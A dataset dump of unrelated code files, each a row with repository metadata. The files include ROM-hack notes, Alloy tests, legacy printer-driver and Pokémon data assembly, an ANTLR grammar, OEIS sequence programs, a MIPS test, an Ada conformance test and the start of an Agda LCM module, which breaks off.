max_stars_repo_path stringlengths 4 261 | max_stars_repo_name stringlengths 6 106 | max_stars_count int64 0 38.8k | id stringlengths 1 6 | text stringlengths 7 1.05M |
|---|---|---|---|---|
ffight/lcs/enemy/38.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | 6 | 165312 | <reponame>zengfr/arcade_game_romhacking_sourcecode_top_secret_data
copyright zengfr site:http://github.com/zengfr/romhack
003A02 movem.l D0-D3, -(A6)
003A06 movem.l D0-D3, -(A6)
009ACA dbra D5, $9ac8
021D4C move.l (-$7c,PC,D0.w), ($5c,A6) [enemy+38, enemy+3A]
028150 move.l ($38,PC,D0.w), ($5c,A6) [enemy+38, enemy+3A]
02A332 move.l ($3c,PC,D0.w), ($5c,A6) [enemy+38, enemy+3A]
036DB0 move.w ($10,PC,D0.w), D1 [enemy+38, enemy+3A]
03ADB4 move.w ($10,PC,D0.w), D1 [enemy+38, enemy+3A]
copyright zengfr site:http://github.com/zengfr/romhack
|
experiments/test-suite/handshake.als | kaiyuanw/MuAlloy | 6 | 5080 | <filename>experiments/test-suite/handshake.als
pred test1 {
some disj Jocelyn0: Jocelyn {some disj Hilary0: Hilary {some disj Jocelyn0, Hilary0: Person {
Jocelyn = Jocelyn0
Hilary = Hilary0
Person = Jocelyn0 + Hilary0
spouse = Jocelyn0->Hilary0 + Hilary0->Jocelyn0
no shaken
}}}
}
run test1 for 5
pred test2 {
some disj Jocelyn0: Jocelyn {some disj Hilary0: Hilary {some disj Jocelyn0, Hilary0, Person0, Person1: Person {
Jocelyn = Jocelyn0
Hilary = Hilary0
Person = Jocelyn0 + Hilary0 + Person0 + Person1
spouse = Jocelyn0->Person0 + Hilary0->Person1 + Person0->Jocelyn0 + Person1->Hilary0
shaken = Jocelyn0->Hilary0 + Jocelyn0->Person1 + Hilary0->Jocelyn0 + Person1->Jocelyn0
}}}
}
run test2 for 5
pred test3 {
some disj Hilary0: Hilary {some disj Hilary0, Person0, Person1, Person2: Person {
no Jocelyn
Hilary = Hilary0
Person = Hilary0 + Person0 + Person1 + Person2
spouse = Hilary0->Person1 + Person0->Person2 + Person1->Hilary0 + Person2->Person0
shaken = Hilary0->Person2 + Person2->Hilary0
}}
}
run test3 for 5
pred test4 {
some disj Jocelyn0, Jocelyn1: Jocelyn {some disj Hilary0: Hilary {some disj Hilary0, Person0, Jocelyn0, Jocelyn1: Person {
Jocelyn = Jocelyn0 + Jocelyn1
Hilary = Hilary0
Person = Hilary0 + Person0 + Jocelyn0 + Jocelyn1
spouse = Hilary0->Jocelyn0 + Person0->Jocelyn1 + Jocelyn0->Hilary0 + Jocelyn1->Person0
shaken = Hilary0->Person0 + Person0->Hilary0 + Person0->Jocelyn0 + Jocelyn0->Person0
}}}
}
run test4 for 5
pred test5 {
some disj Hilary0: Hilary {some disj Hilary0, Person0, Person1, Person2: Person {
no Jocelyn
Hilary = Hilary0
Person = Hilary0 + Person0 + Person1 + Person2
spouse = Hilary0->Person0 + Person0->Hilary0 + Person1->Person2 + Person2->Person1
shaken = Hilary0->Person1 + Hilary0->Person2 + Person0->Person2 + Person1->Hilary0 + Person2->Hilary0 + Person2->Person0
}}
}
run test5 for 5
pred test6 {
some disj Jocelyn0: Jocelyn {some disj Jocelyn0, Person0, Person1, Person2: Person {
Jocelyn = Jocelyn0
no Hilary
Person = Jocelyn0 + Person0 + Person1 + Person2
spouse = Jocelyn0->Person1 + Person0->Person2 + Person1->Jocelyn0 + Person2->Person0
shaken = Jocelyn0->Person2 + Person2->Jocelyn0
}}
}
run test6 for 5
pred test7 {
some disj Jocelyn0: Jocelyn {some disj Hilary0, Hilary1: Hilary {some disj Jocelyn0, Person0, Hilary0, Hilary1: Person {
Jocelyn = Jocelyn0
Hilary = Hilary0 + Hilary1
Person = Jocelyn0 + Person0 + Hilary0 + Hilary1
spouse = Jocelyn0->Hilary0 + Person0->Hilary1 + Hilary0->Jocelyn0 + Hilary1->Person0
shaken = Jocelyn0->Person0 + Person0->Jocelyn0 + Person0->Hilary0 + Hilary0->Person0
}}}
}
run test7 for 5
pred test8 {
some disj Jocelyn0: Jocelyn {some disj Jocelyn0, Person0, Person1, Person2: Person {
Jocelyn = Jocelyn0
no Hilary
Person = Jocelyn0 + Person0 + Person1 + Person2
spouse = Jocelyn0->Person0 + Person0->Jocelyn0 + Person1->Person2 + Person2->Person1
shaken = Jocelyn0->Person1 + Jocelyn0->Person2 + Person0->Person2 + Person1->Jocelyn0 + Person2->Jocelyn0 + Person2->Person0
}}
}
run test8 for 5
pred test9 {
some disj Jocelyn0: Jocelyn {some disj Hilary0: Hilary {some disj Jocelyn0, Hilary0, Person0, Person1: Person {
Jocelyn = Jocelyn0
Hilary = Hilary0
Person = Jocelyn0 + Hilary0 + Person0 + Person1
spouse = Jocelyn0->Person1 + Hilary0->Person0 + Person0->Hilary0 + Person1->Jocelyn0
shaken = Jocelyn0->Hilary0 + Hilary0->Jocelyn0 + Hilary0->Person1 + Person1->Hilary0
Puzzle[]
}}}
}
run test9 for 5
pred test10 {
some disj Jocelyn0: Jocelyn {some disj Hilary0: Hilary {some disj Jocelyn0, Hilary0: Person {
Jocelyn = Jocelyn0
Hilary = Hilary0
Person = Jocelyn0 + Hilary0
spouse = Jocelyn0->Hilary0 + Hilary0->Jocelyn0
no shaken
Puzzle[]
}}}
}
run test10 for 5
pred test11 {
some disj Jocelyn0: Jocelyn {some disj Hilary0: Hilary {some disj Jocelyn0, Hilary0, Person0, Person1: Person {
Jocelyn = Jocelyn0
Hilary = Hilary0
Person = Jocelyn0 + Hilary0 + Person0 + Person1
spouse = Jocelyn0->Hilary0 + Hilary0->Jocelyn0 + Person0->Person1 + Person1->Person0
shaken = Jocelyn0->Person1 + Hilary0->Person1 + Person1->Jocelyn0 + Person1->Hilary0
Puzzle[]
}}}
}
run test11 for 5
pred test12 {
some disj Jocelyn0: Jocelyn {some disj Hilary0: Hilary {some disj Jocelyn0, Hilary0, Person0, Person1: Person {
Jocelyn = Jocelyn0
Hilary = Hilary0
Person = Jocelyn0 + Hilary0 + Person0 + Person1
spouse = Jocelyn0->Hilary0 + Hilary0->Jocelyn0 + Person0->Person1 + Person1->Person0
shaken = Jocelyn0->Person1 + Hilary0->Person0 + Person0->Hilary0 + Person1->Jocelyn0
Puzzle[]
}}}
}
run test12 for 5
pred test13 {
some disj Jocelyn0: Jocelyn {some disj Hilary0: Hilary {some disj Jocelyn0, Hilary0, Person0, Person1: Person {
Jocelyn = Jocelyn0
Hilary = Hilary0
Person = Jocelyn0 + Hilary0 + Person0 + Person1
spouse = Jocelyn0->Hilary0 + Hilary0->Jocelyn0 + Person0->Person1 + Person1->Person0
shaken = Jocelyn0->Person0 + Jocelyn0->Person1 + Person0->Jocelyn0 + Person1->Jocelyn0
Puzzle[]
}}}
}
run test13 for 5
pred test14 {
some disj Jocelyn0: Jocelyn {some disj Hilary0: Hilary {some disj Jocelyn0, Hilary0, Person0, Person1: Person {
Jocelyn = Jocelyn0
Hilary = Hilary0
Person = Jocelyn0 + Hilary0 + Person0 + Person1
spouse = Jocelyn0->Hilary0 + Hilary0->Jocelyn0 + Person0->Person1 + Person1->Person0
shaken = Jocelyn0->Person0 + Jocelyn0->Person1 + Hilary0->Person1 + Person0->Jocelyn0 + Person1->Jocelyn0 + Person1->Hilary0
Puzzle[]
}}}
}
run test14 for 5
pred test15 {
some disj Jocelyn0: Jocelyn {some disj Hilary0: Hilary {some disj Jocelyn0, Hilary0: Person {
Jocelyn = Jocelyn0
Hilary = Hilary0
Person = Jocelyn0 + Hilary0
spouse = Jocelyn0->Hilary0 + Hilary0->Jocelyn0
shaken = Jocelyn0->Jocelyn0
}}}
}
run test15 for 5
pred test16 {
some disj Jocelyn0: Jocelyn {some disj Hilary0: Hilary {some disj Jocelyn0, Hilary0: Person {
Jocelyn = Jocelyn0
Hilary = Hilary0
Person = Jocelyn0 + Hilary0
spouse = Jocelyn0->Hilary0 + Hilary0->Jocelyn0
shaken = Hilary0->Hilary0
}}}
}
run test16 for 5
pred test17 {
some disj Jocelyn0: Jocelyn {some disj Hilary0: Hilary {some disj Jocelyn0, Hilary0: Person {
Jocelyn = Jocelyn0
Hilary = Hilary0
Person = Jocelyn0 + Hilary0
spouse = Jocelyn0->Hilary0 + Hilary0->Jocelyn0
shaken = Jocelyn0->Hilary0 + Hilary0->Jocelyn0
}}}
}
run test17 for 5
pred test18 {
some disj Jocelyn0: Jocelyn {some disj Hilary0: Hilary {some disj Jocelyn0, Hilary0, Person0, Person1: Person {
Jocelyn = Jocelyn0
Hilary = Hilary0
Person = Jocelyn0 + Hilary0 + Person0 + Person1
spouse = Jocelyn0->Person1 + Hilary0->Person0 + Person0->Hilary0 + Person1->Jocelyn0
shaken = Person0->Person1 + Person1->Person0
}}}
}
run test18 for 5
pred test19 {
some disj Jocelyn0: Jocelyn {some disj Hilary0: Hilary {some disj Jocelyn0, Hilary0, Person0, Person1: Person {
Jocelyn = Jocelyn0
Hilary = Hilary0
Person = Jocelyn0 + Hilary0 + Person0 + Person1
spouse = Jocelyn0->Hilary0 + Hilary0->Jocelyn0 + Person0->Person1 + Person1->Person0
shaken = Hilary0->Person0 + Hilary0->Person1 + Person0->Jocelyn0 + Person1->Jocelyn0
}}}
}
run test19 for 5
pred test20 {
some disj Jocelyn0: Jocelyn {some disj Hilary0: Hilary {some disj Jocelyn0, Hilary0, Person0, Person1: Person {
Jocelyn = Jocelyn0
Hilary = Hilary0
Person = Jocelyn0 + Hilary0 + Person0 + Person1
spouse = Jocelyn0->Hilary0 + Hilary0->Jocelyn0 + Person0->Person1 + Person1->Person0
shaken = Hilary0->Person0 + Hilary0->Person1
}}}
}
run test20 for 5
pred test21 {
some disj Jocelyn0: Jocelyn {some disj Hilary0: Hilary {some disj Jocelyn0, Hilary0, Person0, Person1: Person {
Jocelyn = Jocelyn0
Hilary = Hilary0
Person = Jocelyn0 + Hilary0 + Person0 + Person1
spouse = Jocelyn0->Person0 + Hilary0->Person1 + Person0->Jocelyn0 + Person1->Hilary0
shaken = Jocelyn0->Person1 + Person1->Jocelyn0
}}}
}
run test21 for 5
pred test22 {
some disj Jocelyn0: Jocelyn {some disj Hilary0: Hilary {some disj Jocelyn0, Hilary0, Person0, Person1: Person {
Jocelyn = Jocelyn0
Hilary = Hilary0
Person = Jocelyn0 + Hilary0 + Person0 + Person1
spouse = Jocelyn0->Hilary0 + Hilary0->Jocelyn0 + Person0->Person1 + Person1->Person0
shaken = Jocelyn0->Person0 + Jocelyn0->Person1 + Hilary0->Person0 + Hilary0->Person1 + Person0->Jocelyn0 + Person0->Hilary0 + Person1->Jocelyn0 + Person1->Hilary0
}}}
}
run test22 for 5
pred test23 {
some disj Jocelyn0: Jocelyn {some disj Hilary0: Hilary {some disj Jocelyn0, Hilary0, Person0, Person1: Person {
Jocelyn = Jocelyn0
Hilary = Hilary0
Person = Jocelyn0 + Hilary0 + Person0 + Person1
spouse = Jocelyn0->Person0 + Hilary0->Person1 + Person0->Jocelyn0 + Person1->Hilary0
shaken = Jocelyn0->Hilary0 + Person0->Hilary0 + Person1->Jocelyn0 + Person1->Person0
}}}
}
run test23 for 5
pred test24 {
some disj Jocelyn0: Jocelyn {some disj Hilary0: Hilary {some disj Jocelyn0, Hilary0, Person0, Person1: Person {
Jocelyn = Jocelyn0
Hilary = Hilary0
Person = Jocelyn0 + Hilary0 + Person0 + Person1
spouse = Jocelyn0->Person0 + Hilary0->Person1 + Person0->Jocelyn0 + Person1->Hilary0
shaken = Jocelyn0->Person1 + Hilary0->Person0 + Person0->Hilary0 + Person0->Person1 + Person1->Jocelyn0 + Person1->Person0
}}}
}
run test24 for 5
pred test25 {
some disj Jocelyn0: Jocelyn {some disj Hilary0: Hilary {some disj Jocelyn0, Hilary0, Person0, Person1: Person {
Jocelyn = Jocelyn0
Hilary = Hilary0
Person = Jocelyn0 + Hilary0 + Person0 + Person1
spouse = Jocelyn0->Person0 + Hilary0->Person1 + Person0->Jocelyn0 + Person1->Hilary0
shaken = Jocelyn0->Hilary0 + Jocelyn0->Person1 + Hilary0->Jocelyn0 + Person0->Person1 + Person1->Jocelyn0 + Person1->Person0
}}}
}
run test25 for 5
pred test26 {
some disj Jocelyn0: Jocelyn {some disj Hilary0: Hilary {some disj Jocelyn0, Hilary0, Person0, Person1: Person {
Jocelyn = Jocelyn0
Hilary = Hilary0
Person = Jocelyn0 + Hilary0 + Person0 + Person1
spouse = Jocelyn0->Hilary0 + Hilary0->Jocelyn0 + Person0->Person1 + Person1->Person0
shaken = Jocelyn0->Person0 + Jocelyn0->Person1 + Hilary0->Person1 + Person0->Hilary0 + Person1->Jocelyn0
}}}
}
run test26 for 5
pred test27 {
some disj Jocelyn0: Jocelyn {some disj Hilary0: Hilary {some disj Jocelyn0, Hilary0, Person0, Person1: Person {
Jocelyn = Jocelyn0
Hilary = Hilary0
Person = Jocelyn0 + Hilary0 + Person0 + Person1
spouse = Jocelyn0->Hilary0 + Hilary0->Jocelyn0 + Person0->Person1 + Person1->Person0
shaken = Jocelyn0->Person1 + Hilary0->Person0 + Person0->Jocelyn0 + Person1->Hilary0
}}}
}
run test27 for 5
pred test28 {
some disj Jocelyn0: Jocelyn {some disj Hilary0: Hilary {some disj Jocelyn0, Hilary0, Person0: Person {
Jocelyn = Jocelyn0
Hilary = Hilary0
Person = Jocelyn0 + Hilary0 + Person0
spouse = Jocelyn0->Jocelyn0 + Hilary0->Hilary0 + Person0->Person0
shaken = Jocelyn0->Person0 + Hilary0->Person0 + Person0->Jocelyn0 + Person0->Hilary0
}}}
}
run test28 for 5
pred test29 {
some disj Jocelyn0: Jocelyn {some disj Hilary0: Hilary {some disj Jocelyn0, Hilary0, Person0, Person1: Person {
Jocelyn = Jocelyn0
Hilary = Hilary0
Person = Jocelyn0 + Hilary0 + Person0 + Person1
spouse = Jocelyn0->Hilary0 + Hilary0->Jocelyn0 + Person0->Person1 + Person1->Person0
shaken = Jocelyn0->Person1 + Hilary0->Person1 + Person1->Jocelyn0 + Person1->Hilary0
}}}
}
run test29 for 5
pred test30 {
some disj Jocelyn0: Jocelyn {some disj Hilary0: Hilary {some disj Jocelyn0, Hilary0, Person0: Person {
Jocelyn = Jocelyn0
Hilary = Hilary0
Person = Jocelyn0 + Hilary0 + Person0
spouse = Jocelyn0->Hilary0 + Hilary0->Jocelyn0 + Person0->Person0
shaken = Jocelyn0->Person0 + Hilary0->Person0 + Person0->Jocelyn0 + Person0->Hilary0
}}}
}
run test30 for 5
|
Driver/Printer/PrintCom/Styles/stylesSRSubscript.asm | steakknife/pcgeos | 504 | 168213 |
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Berkeley Softworks 1990 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Print Driver
FILE: stylesSRSubscript.asm
AUTHOR: <NAME>, 1 March 1990
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 3/1/90 Initial revision
Dave 5/21/92 Parsed from oki9Styles.asm
DC_ESCRIPTION:
$Id: stylesSRSubscript.asm,v 1.1 97/04/18 11:51:48 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SetSubscript proc near
mov si,offset cs:pr_codes_SetSubscript
jmp SendCodeOut
SetSubscript endp
ResetSubscript proc near
mov si,offset cs:pr_codes_ResetSubscript
jmp SendCodeOut
ResetSubscript endp
|
data/pokemon/base_stats/hoenn/claydol.asm | Dev727/ancientplatinum | 0 | 168722 | <filename>data/pokemon/base_stats/hoenn/claydol.asm<gh_stars>0
db 0 ; 344 DEX NO
db 60, 70, 105, 75, 70, 120
; hp atk def spd sat sdf
db GROUND, PSYCHIC ; type
db 90 ; catch rate
db 189 ; base exp
db NO_ITEM, NO_ITEM ; items
db GENDER_UNKNOWN ; gender ratio
db 100 ; unknown 1
db 20 ; step cycles to hatch
db 5 ; unknown 2
INCBIN "gfx/pokemon/hoenn/claydol/front.dimensions"
db 0, 0, 0, 0 ; padding
db GROWTH_MEDIUM_FAST ; growth rate
dn EGG_MINERAL, EGG_MINERAL ; egg groups
; tm/hm learnset
tmhm
; end
|
ch15/textual/recordType.g4 | dslmeinte/DSLs-Made-Easy-code | 1 | 531 | grammar recordType;
STRING: '"' [A-Za-z0-9 ]+ '"' ;
type: 'amount' | 'date range' | 'percentage' ;
WS: (' ' | '\t' | '\n')+ ;
attributeReference: '->' WS? STRING ;
fragment DIGIT: [0-9] ;
number: DIGIT+ ('.' DIGIT+)? ;
value: attributeReference | number ;
attribute: STRING WS? ':' WS? type (WS 'initially' WS? value)? ;
recordType: WS? 'record type' WS? STRING WS? 'having attributes:' (WS? attribute)* WS? ;
|
programs/oeis/132/A132106.asm | jmorken/loda | 1 | 28116 | <reponame>jmorken/loda<gh_stars>1-10
; A132106: 1 + floor(sqrt(n)) + Sum_{i=1..n} floor(n/i).
; 1,3,5,7,11,13,17,19,23,27,31,33,39,41,45,49,55,57,63,65,71,75,79,81,89,93,97,101,107,109,117,119,125,129,133,137,147,149,153,157,165,167,175,177,183,189,193,195,205,209,215,219,225,227,235,239,247,251,255,257,269
mov $10,$0
mov $12,$0
add $12,1
lpb $12
mov $0,$10
sub $12,1
sub $0,$12
mov $6,$0
mov $8,2
lpb $8
clr $0,6
mov $0,$6
sub $8,1
add $0,$8
sub $0,2
lpb $0
mov $1,$0
sub $0,1
add $3,1
div $1,$3
add $5,$1
lpe
mov $1,$5
mov $9,$8
lpb $9
mov $7,$1
sub $9,1
lpe
lpe
lpb $6
mov $6,0
sub $7,$1
lpe
mov $1,$7
mul $1,2
div $1,4
mul $1,2
add $1,2
add $11,$1
lpe
mov $1,$11
sub $1,2
div $1,2
mul $1,2
add $1,1
|
CPU/cpu_test/test_storage/sra.asm | SilenceX12138/MIPS-Microsystems | 55 | 11899 | .text
li $t1,-10
li $t2,-20
li $t3,30
li $0,25
li $t4,40
li $t5,-4
li $t6,900
li $t7,0xfff
sra $s1,$t1,31
sra $s2,$t2,31
sra $s3,$t3,4
sra $s4,$t4,6
sra $s5,$t5,2
sra $s6,$t6,31
sra $s7,$t7,5
|
oeis/347/A347782.asm | neoneye/loda-programs | 11 | 5861 | ; A347782: Domination number of the n-tetrahedral (Johnson) graph.
; Submitted by <NAME>
; 2,4,5,7,8,10,11,13,14,18,19,23,24,29
mov $2,$0
add $0,1
div $0,2
mul $2,2
lpb $0
sub $0,1
add $2,2
trn $6,$0
mov $3,$6
mov $5,$6
cmp $5,0
mul $5,$0
add $3,$5
trn $4,60
add $4,$0
lpb $4
add $2,$0
sub $3,5
div $3,2
mov $4,$3
lpe
lpe
mov $0,$2
div $0,2
add $0,2
|
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c3/c39006a.ada | best08618/asylo | 7 | 26659 | -- C39006A.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making
-- this public release, the Government intends to confer upon all
-- recipients unlimited rights equal to those held by the Government.
-- These rights include rights to use, duplicate, release or disclose the
-- released technical data and computer software in whole or in part, in
-- any manner and for any purpose whatsoever, and to have or permit others
-- to do so.
--
-- DISCLAIMER
--
-- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR
-- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED
-- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE
-- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE
-- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A
-- PARTICULAR PURPOSE OF SAID MATERIAL.
--*
-- CHECK THAT PROGRAM_ERROR IS RAISED IF AN ATTEMPT IS MADE TO CALL A
-- SUBPROGRAM WHOSE BODY HAS NOT YET BEEN ELABORATED. CHECK THE
-- FOLLOWING:
-- A) A FUNCTION IS CALLED IN THE INITIALIZATION EXPRESSION OF A
-- SCALAR VARIABLE OR A RECORD COMPONENT, AND THE SCALAR OR
-- RECORD VARIABLE'S DECLARATION IS ELABORATED BEFORE THE
-- SUBPROGRAM BODY IS ELABORATED.
-- TBN 8/14/86
WITH REPORT; USE REPORT;
PROCEDURE C39006A IS
BEGIN
TEST ("C39006A", "CHECK THAT PROGRAM_ERROR IS RAISED IF AN " &
"ATTEMPT IS MADE TO CALL A SUBPROGRAM WHOSE " &
"BODY HAS NOT YET BEEN ELABORATED");
BEGIN
DECLARE
FUNCTION INIT_1 (A : INTEGER) RETURN INTEGER;
VAR1 : INTEGER := INIT_1 (1);
FUNCTION INIT_1 (A : INTEGER) RETURN INTEGER IS
BEGIN
RETURN (A + IDENT_INT(1));
END INIT_1;
BEGIN
FAILED ("PROGRAM_ERROR NOT RAISED - 1");
END;
EXCEPTION
WHEN PROGRAM_ERROR =>
NULL;
WHEN OTHERS =>
FAILED ("UNEXPECTED EXCEPTION RAISED - 1");
END;
BEGIN
DECLARE
FUNCTION INIT_2 (A : INTEGER) RETURN INTEGER;
TYPE REC1 IS
RECORD
NUMBER : INTEGER := INIT_2 (2);
END RECORD;
VAR2 : REC1;
FUNCTION INIT_2 (A : INTEGER) RETURN INTEGER IS
BEGIN
RETURN (A + IDENT_INT(1));
END INIT_2;
BEGIN
FAILED ("PROGRAM_ERROR NOT RAISED - 2");
END;
EXCEPTION
WHEN PROGRAM_ERROR =>
NULL;
WHEN OTHERS =>
FAILED ("UNEXPECTED EXCEPTION RAISED - 2");
END;
BEGIN
DECLARE
FUNCTION F1 RETURN INTEGER;
PACKAGE PACK IS
VAR1 : INTEGER := F1;
END PACK;
FUNCTION F1 RETURN INTEGER IS
BEGIN
RETURN (IDENT_INT(1));
END F1;
BEGIN
FAILED ("PROGRAM_ERROR NOT RAISED - 3");
END;
EXCEPTION
WHEN PROGRAM_ERROR =>
NULL;
WHEN OTHERS =>
FAILED ("UNEXPECTED EXCEPTION RAISED - 3");
END;
BEGIN
DECLARE
PACKAGE PACK IS
FUNCTION F2 RETURN INTEGER;
VAR2 : INTEGER := F2;
END PACK;
PACKAGE BODY PACK IS
FUNCTION F2 RETURN INTEGER IS
BEGIN
RETURN (IDENT_INT(3));
END F2;
END PACK;
BEGIN
FAILED ("PROGRAM_ERROR NOT RAISED - 4");
END;
EXCEPTION
WHEN PROGRAM_ERROR =>
NULL;
WHEN OTHERS =>
FAILED ("UNEXPECTED EXCEPTION RAISED - 4");
END;
BEGIN
DECLARE
FUNCTION INIT_3 (A : INTEGER) RETURN INTEGER;
GENERIC
PACKAGE Q IS
VAR1 : INTEGER := INIT_3 (1);
END Q;
PACKAGE NEW_Q IS NEW Q;
FUNCTION INIT_3 (A : INTEGER) RETURN INTEGER IS
BEGIN
RETURN (A + IDENT_INT(3));
END INIT_3;
BEGIN
FAILED ("PROGRAM_ERROR NOT RAISED - 5");
END;
EXCEPTION
WHEN PROGRAM_ERROR =>
NULL;
WHEN OTHERS =>
FAILED ("UNEXPECTED EXCEPTION RAISED - 5");
END;
BEGIN
DECLARE
FUNCTION FUN RETURN INTEGER;
TYPE PARAM IS
RECORD
COMP : INTEGER := FUN;
END RECORD;
GENERIC
TYPE T IS PRIVATE;
PACKAGE GP IS
OBJ : T;
END GP;
PACKAGE INST IS NEW GP(PARAM);
FUNCTION FUN RETURN INTEGER IS
BEGIN
RETURN (IDENT_INT(3));
END FUN;
BEGIN
FAILED ("PROGRAM_ERROR NOT RAISED - 6");
END;
EXCEPTION
WHEN PROGRAM_ERROR =>
NULL;
WHEN OTHERS =>
FAILED ("UNEXPECTED EXCEPTION RAISED - 6");
END;
RESULT;
END C39006A;
|
malban/Release/VRelease/Release.History/VRelease_2017_04_07/Song/pattern13.asm | mikepea/vectrex-playground | 5 | 163219 | ; this file is part of Release, written by Malban in 2017
;
HAS_VOICE0 = 1
HAS_TONE0 = 1
FIRST7 = $3E
dw $00AA
pattern13Data:
db $FF, $18, $97, $DE, $63, $FE, $1A, $7E, $E6, $34
db $ED, $FC, $70, $30, $7B, $9E, $43, $CD, $DD, $E2
db $78, $E0, $60, $7F, $EF, $47, $6F, $27, $F7, $F5
db $1F, $7B, $C9, $F9, $8C, $4B, $B5, $69, $D7, $48
db $E9, $24, $9F, $3C, $33, $DC, $F2, $1E, $2E, $EF
db $53, $C7, $03, $03, $E5, $DD, $EA, $78, $EB, $77
db $7B, $8F, $3D, $5D, $DC, $A7, $8E, $D7, $77, $78
db $F3, $81, $FF, $49, $2D, $BC, $9F, $E3, $1F, $4C
db $7C, $31, $FF, $BD, $1D, $BC, $9F, $DF, $D4, $7D
db $EF, $27, $E6, $31, $2E, $D5, $A7, $5D, $23, $A4
db $92, $7C, $F0, $CF, $F5, $28, $EE, $F3, $F1, $8F
db $A6, $3E, $18, $FF, $18, $97, $DE, $63, $FE, $1A
db $7E, $E6, $34, $ED, $FC, $70, $30, $79, $A9, $47
db $77, $9E, $0C, $77, $31, $D8, $C7, $F3, $6F, $27
db $F7, $F5, $1F, $7B, $C9, $F9, $8C, $4B, $B5, $69
db $D7, $48, $E9, $24, $9F, $3C, $33, $DC, $F2, $1E
db $2E, $EF, $53, $C7, $03, $03, $D5, $DD, $A7, $8F
db $77, $77, $A9, $E3, $5D, $DC, $0C, $1F, $F4, $92
db $DB, $C9, $FE, $31, $F4, $C7, $C3, $1F, $FB, $D1
db $DB, $C9, $FD, $FD, $47, $DE, $F2, $7E, $63, $12
db $ED, $5A, $75, $D2, $3A, $49, $27, $CF, $0C, $FF
db $DE, $8E, $D2, $4B, $F1, $8F, $A6, $3E, $18, $FF
db $18, $7D, $E6, $3F, $E1, $A7, $EE, $63, $4E, $DF
db $C7, $03, $07, $9E, $F4, $76, $92, $5E, $0C, $77
db $31, $D8, $C7, $FE, $F4, $76, $F2, $7F, $7F, $51
db $F7, $BC, $9F, $98, $C4, $BB, $56, $9D, $74, $8E
db $92, $49, $F3, $C3, $3D, $CF, $21, $E2, $EE, $F5
db $3C, $70, $30, $00 |
src/Algebra/Linear/Structures/GL.agda | felko/linear-algebra | 15 | 11883 | <reponame>felko/linear-algebra<filename>src/Algebra/Linear/Structures/GL.agda
{-# OPTIONS --without-K --safe #-}
open import Algebra.Structures.Bundles.Field
module Algebra.Linear.Structures.GL
{k ℓᵏ} (K : Field k ℓᵏ)
{a ℓ}
where
open import Relation.Binary using (Setoid)
open import Algebra.Linear.Structures.Bundles
open import Algebra.Linear.Morphism.Bundles K
open import Categories.Category
open LinearMap
|
programs/oeis/135/A135706.asm | karttu/loda | 1 | 169086 | ; A135706: a(n) = n*(5*n-3).
; 0,2,14,36,68,110,162,224,296,378,470,572,684,806,938,1080,1232,1394,1566,1748,1940,2142,2354,2576,2808,3050,3302,3564,3836,4118,4410,4712,5024,5346,5678,6020,6372,6734,7106,7488,7880,8282,8694,9116,9548,9990,10442,10904,11376,11858,12350,12852,13364,13886,14418,14960,15512,16074,16646,17228,17820,18422,19034,19656,20288,20930,21582,22244,22916,23598,24290,24992,25704,26426,27158,27900,28652,29414,30186,30968,31760,32562,33374,34196,35028,35870,36722,37584,38456,39338,40230,41132,42044,42966,43898,44840,45792,46754,47726,48708,49700,50702,51714,52736,53768,54810,55862,56924,57996,59078,60170,61272,62384,63506,64638,65780,66932,68094,69266,70448,71640,72842,74054,75276,76508,77750,79002,80264,81536,82818,84110,85412,86724,88046,89378,90720,92072,93434,94806,96188,97580,98982,100394,101816,103248,104690,106142,107604,109076,110558,112050,113552,115064,116586,118118,119660,121212,122774,124346,125928,127520,129122,130734,132356,133988,135630,137282,138944,140616,142298,143990,145692,147404,149126,150858,152600,154352,156114,157886,159668,161460,163262,165074,166896,168728,170570,172422,174284,176156,178038,179930,181832,183744,185666,187598,189540,191492,193454,195426,197408,199400,201402,203414,205436,207468,209510,211562,213624,215696,217778,219870,221972,224084,226206,228338,230480,232632,234794,236966,239148,241340,243542,245754,247976,250208,252450,254702,256964,259236,261518,263810,266112,268424,270746,273078,275420,277772,280134,282506,284888,287280,289682,292094,294516,296948,299390,301842,304304,306776,309258
mov $1,5
mul $1,$0
sub $1,3
mul $1,$0
|
oeis/037/A037530.asm | neoneye/loda-programs | 11 | 245397 | <gh_stars>10-100
; A037530: Base-5 digits are, in order, the first n terms of the periodic sequence with initial period 1,1,2.
; Submitted by <NAME>
; 1,6,32,161,806,4032,20161,100806,504032,2520161,12600806,63004032,315020161,1575100806,7875504032,39377520161,196887600806,984438004032,4922190020161,24610950100806,123054750504032,615273752520161
mov $1,5
pow $1,$0
mul $1,40
div $1,31
mov $0,$1
|
test/asset/agda-stdlib-1.0/Data/Nat/LCM.agda | omega12345/agda-mode | 0 | 9434 | ------------------------------------------------------------------------
-- The Agda standard library
--
-- Least common multiple
------------------------------------------------------------------------
{-# OPTIONS --without-K --safe #-}
module Data.Nat.LCM where
open import Algebra
open import Data.Nat
open import Data.Nat.Properties
open import Data.Nat.Solver
open import Data.Nat.GCD
open import Data.Nat.Divisibility as Div
open import Data.Nat.Coprimality as Coprime
open import Data.Product
open import Function
open import Relation.Binary.PropositionalEquality as PropEq
using (_≡_; refl)
open import Relation.Binary
open +-*-Solver
private
module P = Poset Div.poset
------------------------------------------------------------------------
-- Least common multiple (lcm).
module LCM where
-- Specification of the least common multiple (lcm) of two natural
-- numbers.
